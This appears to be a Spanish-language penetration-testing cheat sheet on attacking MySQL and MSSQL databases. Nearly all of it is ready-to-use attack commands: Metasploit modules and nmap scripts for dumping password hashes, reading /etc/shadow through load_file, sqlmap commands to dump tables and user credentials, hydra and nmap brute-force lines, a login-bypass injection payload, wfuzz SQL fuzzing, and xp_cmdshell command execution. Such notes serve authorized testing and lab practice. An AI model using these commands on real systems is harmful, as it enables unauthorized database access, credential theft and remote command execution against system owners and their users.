SQL
Enumeración
Metasploit
search type:auxiliary name:mysql
####A través de Mysql con metasploit podemos realizar un escaneo de directorios con permisos de escritura en el sistema.
use auxiliary/scanner/mysql/mysql_writable_dirs
#### Hashdump de usuarios
use auxiliary/scanner/mysql/mysql_hashdump
# Enumeracion del sistema (muy útil)
use auxiliary/admin/mssql/mssql_enum
Historial SQL
En ocasiones si el historial está visible, podemos encontrar credenciales en el fichero .mysql.history
Ver contenido fichero .sql
Cuando encontramos un backup de bases de datos, podemos primero probar a hacer un cat al fichero:
cat mysql_backup.sql
Enumeracion con nmap
nmap <ip> -sV -p 3306 --script mysql-empty-password
nmap <ip> -sV -p 3306 --script mysq-info
#Enumerar usuarios bbdd teniendo ya algun usuario de la bbdd
nmap <ip> -sV -p 3306 --script mysql-users --script-args="mysqluser='<usuario>',mysqlpass='<pass>'"
#Enumerar bbdd teniendo ya algun usuario de la bbdd
nmap <ip> -sV -p 3306 --script mysql-databases --script-args="mysqluser='<usuario>',mysqlpass='<pass>'"
#Enumerar hashes
nmap <ip> -sV -p 3306 --script mysql-dump-hashes --script-args="username='<usuario>',password='<pass>'"
Conexion a la BBDD
Con Metasploit
use auxiliary/admin/mysql/mysql_sql
## Rellenar datos de conexión a la bbdd
-------------------------------------------------
## Comandos metasploit
set SQL show databases;
run
set SQL use <database_name>;
run
use auxiliary/admin/mysql/mysql_schemadump
## Rellenar datos de conexión a la bbdd
-------------------------------------------------
## Comandos metasploit
services
loot
creds
Mysql Basics
mysql -h <ip> -u <usuario> (la pass mejor meterla cuando la pida luego)
mysql -u <usuario> -p<contraseña> -h <servidor> <nombre_de_base_de_datos>
show databases;
use <database_name>;
show tables;
select * from <tabla>;
select * from <tabla> where <condicion> = / > / < <argumento>;
#### LEER FICHEROS DEL SISTEMA
select load_file("/etc/shadow");
#### ver version mysql
SELECT VERSION();
#### ver version mysql desde la maquina sin credenciales
mysql -V
mysql --version
SQLMap
SQLinjection a un formulario
Se puede tratar de intentar una inyección SQL contra un panel de login, por ejemplo. También contra una url que parece ser sospechosa de estar haciendo una consulta SQL, por ejemplo: http://ip/products.php?id=7
Cuando se trata de una SQLi contra un panel de login, se deben añadir los siguientes parámetros, y de la siguiente manera:
--forms --batch
# --forms justo después de la URL, y --batch al final de la sentencia, ejemplo:
sqlmap -u "http://example.com/index.php?id=1" --forms --dbs --batch
SQL Injection con request
Teniendo una petición a un sitio donde podamos tratar de inyectar código, por ejemplo un cambio de email o contraseña dentro de un perfil, el cual tenemos credenciales, y por ende una cookie de sesión. Podemos interceptar una petición con burpsuite como esta:
GET /dashboard.php?id=1 HTTP/1.1
Host: 192.168.117.130
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: close
Cookie: PHPSESSID=i5224dcks25bqcmpm6udhgnmmm
Upgrade-Insecure-Requests: 1
Metemos esto en un fichero llamado “request” y lo siguiente es:
sqlmap -r request --dbs --batch
Enumerar datos de la BBDD
# Enumerar bases de datos
sqlmap -u "http://example.com/index.php?id=1" --dbs
# Enumerar tablas de una base de datos
sqlmap -u "http://example.com/index.php?id=1" -D <nombre_bbdd> --tables
# Enumerar columnas de una tabla
sqlmap -u "http://example.com/index.php?id=1" -D <nombre_bbdd> -T <nombre_tabla> --columns
# Enumerar todos los datos de una tabla (con sus columnas)
sqlmap -u "http://example.com/index.php?id=1" -D <nombre_bbdd> -T <nombre_tabla> --dump
# Enumerar datos de ciertas columnas
sqlmap -u "http://example.com/index.php?id=1" -D <nombre_bbdd> -T <nombre_tabla> -C columna1,columna2 --dump
Comandos avanzados
# shell interactiva con la base de datos
sqlmap -u "http://example.com/index.php?id=1"
# consulta personalizada
sqlmap -u "http://example.com/index.php?id=1" -D <nombre_bbdd> -sql-query "SELECT * FROM ..."
# Listar usuarios y contraseñas de la bbdd
sqlmap -u "http://example.com/index.php?id=1" --users --passwords
Fuerza bruta contra BBDD
hydra -l <usuario_conocido> -P <diccionario> mysql://<ip>
use auxiliary/scanner/mysql/mysql_login
#Microsoft SQL Server
nmap <ip> -p 1433 --script ms-sql-brute --script-args userdb=diccionario.txt,passdb=rockyou.txt
Manual SQL injection
Basic login bypass
En el campo username, se puede tratar de introducir lo siguiente
test 'OR 1 = 1;-- -
SQLi con Wfuzz
Lo ideal es capturar la request con burpsuite y cambiar el método a POST para ver como se tramita la petición para pasarle la URL con los parámetros a wfuzz.
```wfuzz -c -z file,/usr/share/wordlists/wfuzz/Injections/SQL.txt -u 'http://<IP>/admin.php?username=FUZZ&password=FUZZ'
Command Injection
# MS SQL Server
nmap <ip> -p 1433 --script ms-sql-xp-cmdshell --script-args mssql.username=<usuario>,mssql.password=<password>,ms-sql-xp-cmdshell.cmd="<comando>"
use auxiliary/admin/mssql/mssql_exec